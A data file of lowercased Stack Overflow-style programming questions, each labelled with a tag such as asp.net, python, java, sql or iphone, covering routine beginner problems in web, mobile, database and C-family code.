html control and server control can be used in single aspx page  i need help on this following aspx code    aspx code:   <pre><code>&lt;asp:label id = lblname  runat = server  text = name &gt;&lt;/asp:label&gt; &lt;asp:textbox id = txtname  runat = server &gt;&lt;/asp:textbox&gt; </code></pre>   consider this is my aspx page content. i am going to populate the values for the textbox only after the postback from server. but the label is also posting to the server (<code>runat= server </code>) even though it s not necessary. should i write my code like this to save time from server with less load.    corrected code:   <pre><code>&lt;label id = lblnames &gt;name&lt;/label&gt; &lt;asp:textbox id = txtname  runat = server &gt;&lt;/asp:textbox&gt; </code></pre>   only my server control will send to the server for postback and not my html control which has a static value.    please suggest whether this is the correct way of coding.,asp.net
objective c  difference between nssting with  alloc  and without  alloc  <pre><code> nsstring *s1 = @ string1 ;  // nsstring *s2 = [[nsstring alloc]stringwithformat:@ string2 ];  nsstring *s2 = [[nsstring alloc] initwithformat:@ string2 ]; </code></pre>   i know this is pretty basic concept but i am not 100% clear with this.    first one doesn t allocate a memory address and send one allocates a memory address... also second one increases the reference count of the variable but not the first one... even though i understand the concept but don t know the situation when i should use the first one or the second one..    when should i use the first one   also when should use for the second one     thanks in advance..,objective-c
developing for appstore using jailbroken iphones  hi     i am new to development for the i phones and got the iphone from usa which is locked to at&amp;t  i have successfully able to develop the apps on it  while it is not unlocked  now i want to unlock it so that i can use it with my local network and also wants to continue the development on it  so is it possible to continue the development on the jailblroken phones for the app store  and what problems may i encounter.,iphone
how to make people to login into specific app with their gmail account or facebook account  i am new to android and i want to create an android application to access specific app with signup or login with gmail or faceebook account (how to make people to login into specific app with their gmail account or facebook account).,android
something similar to palindrome in python  the following strings are considered valid: strings which do not contain any of the following characters: <code>[ /    &lt;    &gt; ]</code> if s is valid   then so is <code> &lt;t&gt;  + s +  &lt;/t&gt; </code>  where t is one of the following the strings: <code> b    i    u    big    small </code>. these  tags  specify any special formatting for the text between them (bold  indent underline  increased font size  decreased font size  respectively) consumes a string s and produce true if s is valid false otherwise.   <pre><code>def valid_cs116_html(s):     if  /  or  &lt;  or &gt;  not in s:         return true </code></pre>   i only worte down the base case which is not containing <code>[ /    &lt;    &gt; ]</code> how do i determine the second case <code> &lt;t&gt;  + s +  &lt;/t&gt; </code>,python
can i use one instance variable to point to different objects over its lifetime   i have a simple question about using a pointer in obj-c.     is it bad practice to use one pointer for different instances of the same thing     for example  if i have an uiviewcontroller class called poster and i am using it in a uiviewcontroller class called movietheater    in movietheater.h:   <pre><code>@interface movietheater : uiviewcontroller {     poster *newmovieposter;  }  @property (nonatomic  retain) poster *newmovieposter;  - (void) changeposter:(nsstring*)titletext; </code></pre>   then in movietheater.m:   <pre><code>@synthesize newmovieposter;   - (void)viewdidload {    [super viewdidload];   newmovieposter = [[poster alloc]initwithtitle:@ coming in may ];    }  -(void) changeposter:(nsstring*)titletext{      newmovieposter= [[poster alloc]initwithtitle:titletext];  }   - (void)viewdidunload { [newmovieposter release]; } </code></pre>   let s assume that we need to access the newmovieposter object often  so releasing it before viewdidunload breaks the app.     is this legit code  it looks good to me  but i am relatively new in obj-c.    thanks!,objective-c
display database resume to user  im using upload control to upload my resume(word document) in sql server 2005 database.and i can download it from database when i click link button...its all working file...my problem is how can i show my full resume to user (how to display my resume) from my database,asp.net
must qualify the allocation with an enclosing instance of type main (e.g. x.new a() where x is an instance of main)  how to fix below error  i need quick help.   <blockquote>    exception in thread  main  java.lang.error: unresolved compilation   problem:          no enclosing instance of type main is accessible. must qualify the allocation with an enclosing instance of type main (e.g. x.new a()   where x is an instance of main).        at com.common.main.main(main.java:16)  </blockquote>   here is my code for reference. if we fixed that this issue then <code> john </code> should be printed only once and not twice. <strong>how we can restrict <code> john </code> to print once</strong>   <pre><code>public class main {     public static void main(string[] args) {         set&lt;person&gt; l = new hashset&lt;person&gt;();         l.add(new person( john ));         l.add(new person( john ));         l.add(new person( matt ));         l.add(new person( deepak ));         l.add(new person( chris ));          for (iterator iterator = l.iterator(); iterator.hasnext();) {             person person = (person) iterator.next();             system.out.println(person.getname());       }     }      public class person{         private string name;          public person(string name) {             super();             this.setname(name);         }          public string getname() {             return name;         }          public void setname(string name) {             this.name = name;         }     } } </code></pre>,java
how to entered only numbers not allowed letters or special characters in asp.net using regular expression   i used this asp.net code it will accept but not validate special character for example. validationexpression= ^[a-za-z0-9]*$,asp.net
"input tag has value but still is empty  i have a peculiar case here wherein the input tag has value in its value attribute but the input box is still empty on the page.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input class= form-control myinput  id= myinputid  maxlength= 10  name= test  type= text  
     value= 2244-0099abc  style= border: 1px solid rgb(204  204  204); &gt;</code></pre>
 </div>
 </div>
     but when i try to add the same value which is present in the value attribute using jquery or at console  then the value appears.  please let me know where it is that i m going wrong. thanks",html
create a template page for html that can be used on every page  i would like to build the equivalent of a _layouts.cshtml page that i can use with every page in my web app. i don t want to use cshtml or razor though i want to use html. is there a simple way to convert the _layouts page to standard html and then include it with the other pages in the app      i have inherited an app that uses cshtml  with a _layouts page for menus and some content styling used on each page. i can duplicate the content on every page  but would prefer to have a generic solution for it. the client does not want to use cshtml pages. any java library  such as angularjs that would provide tools is ok for me to use. i m not a front-end guy and this is a relatively low budget operation where i m working for free. tia.,asp.net
how to run android app using eclipse  i am using the os as windows 7. in which i want to run my android app through the eclipse. so i connect my android device to my laptop through usb connector. in my device shown as   usb connected    but when i click the run configuration to select the device  the device id never shown/displayed. and i was tried in the cmd prompt mode  by killing and start adb server  but it never worked. could you anyone provide the solution.,android
line count of a function  take the following function and other code  and code it up so as it runs  it calculates its own line count.   <pre><code>typedef double matrix[100][100];  void multiply(matrix a  matrix b  matrix c  int n) {      //n is the actual matrix order      for (int i = 0; i &lt; n; ++i)         for (int j = 0; j &lt; n; ++j)         {             c[i][j] = 0;             for (int k = 0; k &lt; n; ++k)                  c[i][j] += a[i][k] * b[k][j];         }  } </code></pre>   so i have a hard time understanding what i am supposed to do. i m not sure what a line count is for this particular problem. if anybody can just clarify what i need to do  that would be a big help  that s all i ask.    what i m being asked: write a main that initializes an int variable lc to zero  and inputs n to size the matrices. pass lc by reference to the multiply function. have it come back as the number of lines of code executed  and print this out together with n. also you should initialize matrices a and b to be hilbert matrices (the i-jth entry being 1.0 / (i + j + 1)). test it for n = 3 so your product will be the 3x3 hilbert matrix squared(just to make sure your code works). then  set it up to run twice: once with n = 50  and once again for n = 100. note the time for n = 100  it should be around 8 times as long as it took for n = 50.,c++
query for getting data from two tables  i have two tables <code>questions</code> and <code>student_answer</code>. each table has columns <code>paper_id</code> and <code>question_no</code>  <code>student_answer</code> has a column <code>student_id</code>  if a student submit the paper then in <code>student_answer</code> table stores the <code>student_id</code>  <code>question_no</code>  <code>student_answer</code> and <code>paper_id</code>.     i want <code>answer</code> from <code>questions</code> table which stores correct answers where <code>paper_id</code> is <code> basic computer </code> and <code>answers</code> from table <code>student_answer</code> which store student answer where <code>paper_id</code> is <code> basic computer</code>  and <code>student_id</code> is <code>1</code>   <pre><code>select      q.answer  s.student_ans  from      questions q  student_answer s  where      s.student_id = 1      and q.paper_id =  basic computer      and s.paper_id =  basic computer ; </code></pre>,sql
how to parse <select><option> tag using htmlagilitypack  i am able to parse radio   checkbox etc. but while parsing select nodes :   <pre><code>&lt;select name= customedropdown1  style= height :27px;width :121px;margin-top :75px;margin-left :401px;color:#000000;background-color:#ffffff;font-family:roboto;font-style:;font-size:16px;position:absolute; &gt; &lt;option&gt;option1 &lt;/option&gt; &lt;option&gt;option1 &lt;/option&gt; &lt;option selected= selected &gt;option1 &lt;/option&gt; &lt;/select&gt; </code></pre>   i am able to get the select tag using    <pre><code> var dropdowns = doc.documentnode.selectnodes( //select );  foreach (htmlnode dropdown in dropdowns) </code></pre>   but not able to get the values in the option tag i have tried   <pre><code>dropdown .innerhtml dropdown . innertext </code></pre>   and   <pre><code>foreach (htmlnode node in doc.documentnode.selectnodes( //select//option )) </code></pre>   i have found that using xpath it can be resolved  any code sample will be helpful.    i am using c# win form application.,html
issue on creating clean url using javascript  can you please let me know how to clean a hashed url like this   <pre><code>domain.com/2.html#box1 </code></pre>   to   <pre><code>domain.com/2.html </code></pre>   by removing the <code>#box1</code> (the # and everything after that). i already tried this   <pre><code>if (location.href.indexof( # ) &gt; -1) {     location.assign(location.href.replace(/\/ #/   / )); }  </code></pre>   but it generate a url like   <pre><code>domain.com/2.html/box2 </code></pre>,javascript
access denied to network path when run as service  this code:   <pre><code>using reader as io.streamreader = io.file.opentext( \\10.31.42.249\share\file.txt ) ... </code></pre>   is giving me this error:   <blockquote>    access to the path  \\10.31.42.249\share\file.txt  is denied.  </blockquote>   when i run it as a windows service. the same code in a console application on the same pc works fine. how can i fix this,.net
how can i take 1000 s of http://  https:// links clickable   how can i take 1000 s of http://  https:// links clickable  i would like to be able to make all these(1) links clickable but it would take a few days to get to them all. is there a way to put in the syntax required automatically. at the moment it is txt and i know i will have to change that. i d like if possible for it to all do it every time i add another entry. i have a database. would it just be easier to link a page to a database and prefix all the links with http:// somehow  i am hopful you kind people will have a fix for me and if you don t then please do suggest other ways to do this. please understand i have hardly any understanding of coding and such but i do understand basic html. i am ever so sorry to trouble you with what must seem like a basic problem. thank you ever so much for your help!    have a wonderful day everyone! be safe. this(2) is what my database entries look like. i m awfully sorry for my spelling and grammar. also the reason why (2) doesn t have http:// s is because the database does not support the : symbol and instead of a domain it would be http// instead of http://.   <ul> <li>(1) = <a href= http://anythingmayhappen.com/list  rel= nofollow >http://anythingmayhappen.com/list</a></li> <li>(2) = <a href= https://imgur.com/14e4bwa  rel= nofollow >https://imgur.com/14e4bwa</a></li> </ul>,html
php str_replace issue with url(s)  i have this very simple php line ($html contains some not so long text  lets say around 3000 characters):   <pre><code>$html = str_replace( href= http://www.myurl.com    href= http://subdomain.myurl.com   $html); </code></pre>   it is so simple that i can t understand why it doens t work  maybe some issue with  //      any help appreciated,php
throw exception including additional line of information  i have some code where i parse a file. it s simple  like so:   <pre><code>for line in config_file:     line_split=line.split( | )     pid_index = int(line_split[3])     date_locations = [int(i) for i in line_split[2].split(   )]     in_file = line_split[0]     out_file = line_split[1]     file_info.append([in_file  out_file  date_locations  pid_index]) </code></pre>   if something occurs i want python to proceed printing its usual error messages  but i want to add an additional line at the end of the regular error message  something like:   <pre><code>except:     print  line \ {0}\   might have failed to parse .format(line.rstrip()) </code></pre>   however  with the code above only the extra info line is shown - the regular error messages are overwritten!    i have tried adding the following to my catch  but it produces ugly output:   <pre><code>e = sys.exc_info() for i in e:     print i </code></pre>   is there a simple way to have python print the regular error messages plus an additional line of info of my choosing,python
how to delete nested lists with none in python   i have a list of lists with <code>none</code> s and i would like to delete the two lists so that data becomes empty. but for some reason it seems the <code>for</code> loop is aborted after the first list is deleted  what am i missing     <pre><code>data = [[1531785600000  none  none  none  none  0.0]  [1531872000000  none  none  none  none  0.0]]  for i d in enumerate(data) :     if none in d :         del data[i] data out[128]: [[1531872000000  none  none  none  none  0.0]]  # expected result : data out[130]: [] </code></pre>   thank you,python
fatal error: fetchrow  i m an a newbie in programming  i am a sys admin but sometimes i need to fix same php pages when i have to migrate them from/to another web server. i m working on an old website with an old php verson (5.3.8)  it works more or less but i have a problem in php log:    php fatal error:  call to a member function fetchrow() on a non-object in 297    line 297 = <code>while( $row_colore = $rs_colori-&gt;fetchrow() ){</code>    line 296 = <code>$rs_colori = $db-&gt;execute( select * from colori where id_prodotto =  .$_request[ id_prodotto ].  order by descrizione );</code>    how can i fix it     can you help me      thank you,php
sql query for 3 tables by tour tourid              tourname                                                            1                            paris                                                        2                            landon                                                        3                            madrid                                                           tour_detail_id              tourid              custid                                                            1                            1                            3                                                        2                            2                            3                                                        3                            3                            3                                                        4                            1                            4                                                        5                            2                            4                                                        6                            3                            4                                                        7                            1                            5                                                        8                            2                            5                                                           custid              custname              custphoneno                                                            3                            peter                            22332422                                                        4                            mary                            22332422                                                        5                            paul                            22332422                                     <a href= https://i.stack.imgur.com/xt3r9.png  rel= nofollow noreferrer >enter image description here</a>    how can i get all customers booked all tours,sql
how to save x.nnerhtml to a file in the webserver   i wrote a code to get the location of somebody to make a part of my website work better.    now im stuck with that i want to save the outcome to the website s server    how do i save x.nnerhtml to a file in the webserver     i use this code:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt;  &lt;p&gt;click the button to get your coordinates.&lt;/p&gt;  &lt;button onclick= getlocation() &gt;try it&lt;/button&gt;  &lt;p id= demo &gt;&lt;/p&gt;  &lt;script&gt; var x = document.getelementbyid( demo );  function getlocation() {     if (navigator.geolocation) {         navigator.geolocation.getcurrentposition(showposition);     } else {          x.innerhtml =  geolocation is not supported by this browser. ;     } }  function showposition(position) {     x.innerhtml =  latitude:   + position.coords.latitude +       &lt;br&gt;longitude:   + position.coords.longitude; } &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,html
replace cfurlcreatestringbyaddingpercentescapes  code :   <pre><code>#import  encodeurlstring.h   @implementation encodeurlstring  - (nsstring *)urlencodevalue:(nsstring *)str {     nsstring *result = (nsstring *)cfurlcreatestringbyaddingpercentescapes(kcfallocatordefault  (cfstringref)str  null  cfstr( !* \ ;$ #[]  )  kcfstringencodingutf8);     return [result autorelease]; }  - (nsstring *)safeecapestring:(nsstring *)str {     nsstring *result = [str stringbyreplacingoccurrencesofstring:@ :  withstring:@ \\: ];     result = [result stringbyreplacingoccurrencesofstring:@ ;  withstring:@ \\; ];     result = [result stringbyreplacingoccurrencesofstring:@    withstring:@ \\  ];     return [result autorelease]; }  @end </code></pre>   this code is causing the # tag in my url to be converted into %23 is there a way that i make it stop converting the hash tags  i ve tried removing it from here cfstr( !* \ ;$ #[]  ) but it doesn t work it still converts it. any help or tips would be appreciated    thanks,objective-c
asp.net ambigous match  not control related  im getting an error  ambiguous match found  on one of my pages. it does not give any information about any controls or such  just the first line in the .aspx file is mentioned. but  there seems to be no error there. i have looked at the designer file  no conflicts. i have checked the control  no naming conflicts. not really sure what this is at all     anyone <a href= https://i.stack.imgur.com/ty2xn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ty2xn.png  alt= enter image description here ></a>,asp.net
how to fix nav bar and nav dropdown clash   how to fix navigation menu and navigation dropdown menu clash  the dropdown menu for  lighting  clashes with another nav menu  catalogue  (see image below)    <img src= https://i.stack.imgur.com/l5ijh.png  alt= ](http://i.stack.imgur.com/xjznz.png)[enter image description here >    my code:   <pre><code>    #navigation {       position: relative;       text-align:center;         display: inline-block;       margin: 0 auto;       width: 100%;       float: left;       {% unless settings.use_logo_image %}line-height: 40px;{% endunless %}     }       ul#nav {       font-family: {{ settings.navigation-font }};       background: {{ settings.navigation }};       list-style: none;       line-height: 40px;       margin: 0 auto;     }      ul#nav li {       display: inline-block;       position: relative;        margin: 0 auto;       z-index: 8;     }      ul#nav li:hover {       color: {{ settings.nav_hover_link_color }};       background: {{ settings.nav_hover_color }};     }      ul#nav li a {       font-size: {{ settings.nav_size }};       font-weight: {{ settings.nav_weight }};       color: {{ settings.nav_color }};       height: 40px;       display: block;       padding: 0 15px;       text-transform: {{ settings.navigation-transform }};       line-height: 40px;       margin: 0 auto;       letter-spacing: 1px;     }      ul#nav li a:hover {       background: {{ settings.nav_hover_color }};       color: {{ settings.nav_hover_link_color }};       text-decoration: none;     }      ul#nav li ul{       display: none;       float: left;       position: absolute;       top: 34;       left: 0;       z-index: 5;       margin: auto;       padding: 0;       border: 1px solid {{ settings.dotted_color }};       list-style-type: none;     }      ul#nav li ul:before {       content:   ;       display: block;       position: absolute;       left: 50%;       border-color: transparent transparent {{ settings.dotted_color }} transparent;       border-style: solid;       border-width: 8px;         margin-left: -8px;       bottom: 100%;       width: 0;       height: 0;     }       ul#nav li:hover ul{       display: block;       background: {{ settings.dropdown_background_color }};     }      ul#nav li ul li{       background: {{ settings.navigation }};       color: {{ settings.nav_dropdown_color }};       min-width: 150px;       width: 100%:       white-space: nowrap;       float: left;       text-align: left;     }       ul#nav li ul li:hover {       background: {{ settings.dropdown_hover_background_color }};     }      ul#nav li ul li a:hover {       color: {{ settings.dropdown_hover_link_color }};       background: {{ settings.dropdown_hover_background_color }};     }      ul#nav li ul li a{       text-align: left;       padding-left: 10px;       color: {{ settings.nav_dropdown_color }};       text-transform {{ settings.dropdown-transform }}! important;     } </code></pre>   this is my codes for the navigation bar  i tried using z-index but it still doesn t work.,css
attribute  data-content-id  inside of a div  i ve a div <code>class= contentmiddle &gt;</code>. i need to give that container a  data content id .    can i do it like this    <pre><code>&lt;div class= contentmiddle  data-contentid= 1 &gt;content&lt;/div&gt; </code></pre>,html
how can i write scenario test for another domains with angular.js   i would like to write a scenario test which will perform remote web site  how can i do,angularjs
convert twos complement form of a number to signed decimal  i have this string representation of a number -2 which i got using this function   <pre><code>integer.tobinarystring(signed-int);  </code></pre>   so i put -2 and got 11111111111111111111111111111110    i performed few operations and now i want to convert the string 11111111111111111111111111111110 into -2 again. how do i do it     in general how do i convert twos complement representation of a number to its signed decimal form,java
"store math formula in variable  my script can print a pattern of triangular numbers (e.g. 1  3  6  10 ...)  but i want to store the formula <code>(n * (n + 1)) / 2</code> in a variable called <code>formula</code> instead of writing it multiple times in the if-else statement.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>/* current script */
 
 var pat = document.getelementbyid( pattern );
 var nmax = 10; // max number of intervals
 
 for (var n = 1; n &lt;= nmax; ++n) {
     if (n != nmax)
         // insert comma and space after each interval
      pat.innerhtml += (n * (n + 1)) / 2 +     ;
     else
         // append ellipsis after last interval
         pat.innerhtml += (n * (n + 1)) / 2 +   &amp;hellip; ;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body&gt;
     &lt;p id= pattern &gt;&lt;/p&gt; 
 &lt;/body&gt;</code></pre>
 </div>
 </div>
     here is what i tried already but ended up with 1  1  1  1  1...:    i moved <code>var n = 1</code> to its own line under the <code>nmax</code> variable so that <code>n</code> is defined in the formula and changed the first part of the <code>for</code> loop to <code>n = 1</code>. then in the if-else statement  i replaced every instance of <code>(n * (n + 1)) / 2</code> with the <code>formula</code> variable. after testing the modified script  the pattern resulted in all 1s.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>/* version with formula variable (not working properly) */
 
 var pat = document.getelementbyid( pattern );
 var nmax = 10; // max number of intervals
 var n = 1;
 
 var formula = (n * (n + 1)) / 2;
 
 for (n = 1; n &lt;= nmax; ++n) {
     if (n != nmax)
     // insert comma and space after each interval
       pat.innerhtml += formula +     ;
     else
     // append ellipsis after last interval
       pat.innerhtml += formula +   &amp;hellip; ;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body&gt;
     &lt;p id= pattern &gt;&lt;/p&gt; 
 &lt;/body&gt;</code></pre>
 </div>
 </div>
     how could i store the formula in a variable and use it without getting unexpected results",javascript
retrieving of specific file type from sub directory  i have a winforms application. in it i have a folderbrowser  textbox1 and two button control.     inside my folder i have many sub folders  each hahing have more sub folders. i want to select files types  from one of named subdirectory and call it on    <pre><code>string[] dirs =                 directory.getdirectories(textbox1.text   p*   searchoption.topdirectoryonly);  </code></pre>   and print the file type. problem i am facing is i am getting file from root directory not from sub- directory.   <pre><code>private void button1_click(object sender  eventargs e)         {             folderbrowserdialog folderbrowserdlg = new folderbrowserdialog();             folderbrowserdlg.shownewfolderbutton = true;             dialogresult dlgresult = folderbrowserdlg.showdialog();             if (dlgresult.equals(dialogresult.ok))             {                 textbox1.text = folderbrowserdlg.selectedpath;                 environment.specialfolder rootfolder = folderbrowserdlg.rootfolder;             }         }      private void button3_click(object sender  eventargs e)         {             var file = system.io.directory.enumeratefiles(textbox1.text   *.*   searchoption.alldirectories)             .where(s =&gt; s.endswith( .html ) || s.endswith( .mp3 ) || s.endswith( .png ));             string[] files = directory.getfiles(textbox1.text);             string[] dirs = directory.getdirectories(textbox1.text  file );               foreach (var a in dirs)             {                 listbox1.items.add(a);             }             foreach (string item2 in dirs)             {                 fileinfo f = new fileinfo(item2);                  listbox1.items.add(f.name);              }             foreach (string item in files)             {                 fileinfo f = new fileinfo(item);                  listbox1.items.add(f.name);              }          } </code></pre>,c#
does mac 10.3.9 support libxml2   im using xpath in libxml2 for retrieving the xml data which is working fine in mac 10.6  the same code is not working for 10.3.9  so want to know if the libxml version in 10.3.9 support xpath,objective-c
mysql workbench inserting values to tables based on foreign keys  i built my model on mysql workbench then forward engineered the model to a schema. from there i added values to the tables from a main dataset. so at this point i have added all of the data from the large dataset to the schema one time. what do i do to have the tables with foreign keys automatically pull the data from the referenced table  i shouldn t have to insert the same data twice right,mysql
parsing string for value having newline character  in c#  what is the best way to parse the following string to capture the actual value  <code>yes</code>       <blockquote>    <strong>innertext =  \nper diem allowed\n per diem allowed\n yes\n</strong>  </blockquote>   in other words  i want to detect the very last \n and capture the word what is before that.,c#
mysql: merge next duplicate result  hellow i have this query   <pre><code>select ip_clients.client_name  ip_invoice_amounts.invoice_balance as totals from ip_clients inner join ip_invoices on ip_invoices.client_id = ip_clients.client_id inner join ip_invoice_items on ip_invoices.invoice_id = ip_invoice_items.invoice_id inner join ip_invoice_amounts on ip_invoice_items.invoice_id = ip_invoice_amounts.invoice_id </code></pre>   example of database <a href= https://pastebin.com/c3iynmkq  rel= nofollow noreferrer >https://pastebin.com/c3iynmkq</a>    output:   <pre><code>| client_name | totals  |  |------------ | ------- | | client 1    | 400.00  | | client 2    | 500.00  | | client 1    | 124.00  | </code></pre>   i want to make this to give <strong>client 1</strong> <strong>524</strong>  and client 2 500<br> merge the duplicate totals and print them one time with the total,mysql
how to detect uisearchbar is containing blank spaces only  how to detect if uisearchbar contains only blank spaces not any other character or string and replace it with @,iphone
how this code adds a comma after city name automatically  <pre><code>var arr = []; $( #inputs input ).change(function() {     if (this.checked) {         arr.push(this.value);     }     else {         arr.splice(arr.indexof(this.value)  1);     }     $( #target ).val(arr +   ); }); </code></pre>  <pre class= lang-html prettyprint-override ><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;script src= http://code.jquery.com/jquery-latest.js &gt;&lt;/script&gt;         &lt;meta charset=utf-8 /&gt;         &lt;title&gt;js bin&lt;/title&gt;     &lt;/head&gt; </code></pre>   how comma is appearing automatically in textbox    and in code its not intented to print,jquery
passing variable from javascript to href  i have a variable in javascript that contains the directory of an image. i want to pass it to an href  how to do this    <pre><code>    function opennewwindow(n  width  height)     {           if( navigator.appname ==  microsoft internet explorer ){             xhttp=new activexobject( microsoft.xmlhttp );             xhttp.open( get   http://www.multimediaprof.com/test/emp2.xml  false);              }         else if(navigator.appname ==  netscape ){          xhttp=new xmlhttprequest();         // alert( step 1 );         xhttp.open( get   xml/emp2.xml  false);         }          xhttp.send(  );         xmldoc=xhttp.responsexml;  var imagename = xmldoc.documentelement.childnodes[n].textcontent; testp[n] = imagename; alert(testp[n]); var img = document.createelement( img ); img.src =  pic/  + imagename; alert(img.src); return img.src;  &lt;li&gt;&lt;a href= javascript:opennewwindow(1 000 000);alert( clicked! );  rel= shadowbox   &gt;part 0&lt;/a&gt;&lt;/li&gt; </code></pre>   the variable img.src contains the path  and i want to  pass it to the href,javascript
rails server output - excessive newlines   in my <code>rails s</code>-output  each line is followed by two empty lines. i don t know if this is intended or not but i find it highly uncomfortable to read.     the newlines exist in pure <code>rails s</code> output and in the actual <code>log/development.log</code>.    <strong>screenshot:</strong> <img src= https://i.stack.imgur.com/kmx0x.png  alt=  >    what might be the cause of this  this also occurs on fresh projects.    <strong>update 1: software info</strong>    <strong>os:</strong> os x 10.9.2<br> <strong>ruby:</strong>  ruby 2.1.1p76<br> <strong>rails:</strong> rails 4.1.0<br> <strong>terminal:</strong> iterm2 1.0.0.20140518 + terminal (os x default)<br>,ruby-on-rails
how to use cin for exit in c++  i have the following code from a book about algorithms by robert sedwick.    how do i break a for loop in the following statement <code>if (!(cin &gt;&gt; a[n])) break;</code>    <pre><code>#include &lt;iostream&gt; #include &lt;stdlib.h&gt; #include &lt;string&gt;  using namespace std; int compare(const void *i  const void *j)   { return strcmp(*(char **)i  *(char **)j); } int main()   { const int nmax = 1000;     const int mmax = 10000;     char* a[nmax]; int n;     char buf[mmax]; int m = 0;     for (n = 0; n &lt; nmax; n++)       {         a[n] = &amp;buf[m];         if (!(cin &gt;&gt; a[n])) break;          m += strlen(a[n])+1;       }     // std::cout &lt;&lt;  number of strings entered are   &lt;&lt; n &lt;&lt; std::endl;     qsort(a  n  sizeof(char*)  compare);     for (int i = 0; i &lt; n; i++)        cout &lt;&lt; a[i] &lt;&lt; endl;   } </code></pre>,c++
run function in closed enviroment  how can i run code so that the code itself cannot access my main code on the <code>window</code> variable     for example:   <pre><code>var popup = function(msg){ alert(msg); };  (function(){     window.x = 5;     popup( hi. ); //does not work })();  alert(x) //does not return 5 </code></pre>   i m trying to write a code tester. i ve been reading about scopes and classes  but i m not understanding them enough to figure this out.    thanks in advance!,javascript
how to prevent form data from posting  what html attribute will prevent form data from posting if two inputs have the same <code>name</code> attribute    <pre><code>&lt;form&gt; &lt;select name= amount &gt;   &lt;option value= 100 &gt;$100&lt;/option&gt;   &lt;option value= 50 &gt;$50&lt;/option&gt;   &lt;option value= 10 &gt;$10&lt;/option&gt;   &lt;option value= 1 &gt;$1&lt;/option&gt; &lt;/select&gt; other: &lt;input type= text  name= amount &gt; &lt;/form&gt; </code></pre>   <strong>edit:</strong> the reason i need two with the same name value is i m using the <code>jquery</code> to show() and hide() functions for a select and input.,html
asp.net redirect response to a iframe  how can i redirect the response to an iframe,asp.net
basic android error (beginner) <pre><code>sudoko android requires .class compatibility set to 5.0. please fix project properties. </code></pre>   what this error mean  please let me know if i need to paste some code..,android
custom ordering array with key / value pairs  the following array arrives:   <pre><code>array (     [66-507cddcd16d9786abafccfa78b19acf8] =&gt; xl     [64-507cddcd16d9786abafccfa78b19acf8] =&gt; medium     [65-507cddcd16d9786abafccfa78b19acf8] =&gt; large     [63-507cddcd16d9786abafccfa78b19acf8] =&gt; small ) </code></pre>   how can i order the values of the array in ascending size order in such a way that the key / value relation is maintained  the array values may be some or all of the following   <pre><code>small xxl medium large  xl </code></pre>,php
how to push one view to another view   in my application there are two view.first view na dsecond view. in my second view there is one time for 60 sec.when i go first view to second view then timr is start.when i back to first view thne timer is running in background.when timer is over then one popup is generated.when i click on pop up(ok button) then i want to go in second view.acctully pop is in second view.    how to solve this problem,iphone
how to launch the symbolicatecrash in sdk4.0   how to launch symbolicatecrash from xcode     i have a crash file with the address  i want transfer the address into symbol which are in my source code.     when using gdb  we can do  that gdb ./yourapplication coredumpfile. i think xcode should have a similar tool for transfer the address into symbols.,iphone
sticky header - add padding with jquery  i am using this code to remove the logo from my fixed header after scrolling but i also want to add a padding to my menu to center it in the header.  can someone please help me revise this code to add padding to lets say .main-menu.  thanks!   <pre><code>&lt;script&gt; $(document).ready(function(){         $(window).bind( scroll   function(){     $( #logo ).toggle($(this).scrolltop() &lt; 128); }); }); &lt;/script&gt; </code></pre>,jquery
python dictionary  switch key but retain value  if i have a dictionary like the one below:    <pre><code>myd = { dave : 19           amy : 16           jack : 21           jose : 22           ximena : 21           seta : 26 }  </code></pre>   is it possible to write a   python  command to  replace “amy”   with    “mike”  keeping the value,python
why is n given the initial value of 1 in this loop   from kochan s  programming in c :    <strong>input:</strong>   <pre><code>printf ( table of triangular numbers\n\n );  printf (  n sum from 1 to n\n ); printf ( --- ---------------\n ); triangularnumber = 0; for(n=1; n&lt;=10; ++n){      triangularnumber += n; ￼    printf (  %i   n); } </code></pre>   <strong>output (only partly pasted):</strong>    table of triangular numbers    n = 1              sum from 1 to n = 1    n = 2     sum from 1 to n = 2    <strong>question</strong>:    i understand the purpose of this  but here s what i can t get my head around: if within the loop we assign an initial value of  1  to  n   then we check if n&lt;=10  and if that s true (which it should be with the initial value)  we then add  1  to n. shouldn t (and i know it shouldn t  just don t understand why) the initial value displayed in our table be n=2      thanks in advance for your patience and effort!,c
uipickerview intercepting user selections  i have a uipickerview with two components each with 10 rows being loaded from individual nsarrays.    i need to be able to intercept the users selection  perform an equation (using the index of the current selection and the index of the selection the user just made) and then set either one or both components selections.    i can t for the life of me work out how to implement the methods;   <ul> <li> (nsinteger)selectedrowincomponent:(nsinteger)component  </li> <li> (void)selectrow:(nsinteger)row incomponent:(nsinteger)component animated:(bool)animated </li> </ul>   to a. store the selected row in a variable so i can use it in the equation with the next selected value. and b. to have the program change the users input based off the equation.,ios
only last element of c array saving  i m pretty new to c  and i was screwing around with some things that we were doing in class. but i ve run across a problem:   <pre><code>srand(time(null)); for (counter = 0; counter &lt; 7; counter = counter + 1); {     stats[counter] = abs(rand() % max);  } </code></pre>   when i go to print these elements  however  only the last one makes any sense  everything else is <code>-858993460</code>   <pre><code>printf( health:                 %d\n   stats[0]); printf( armor:                  %d\n   stats[1]); printf( damage:                 %d\n   stats[2]); printf( critical strike shance: %d\n   stats[3]); printf( critical strike damage: %d\n   stats[4]); printf( dexterity:              %d\n   stats[5]); printf( strength:               %d\n   stats[6]); printf( luck:                   %d\n   stats[7]); </code></pre>   can anyone help     thanks!,c
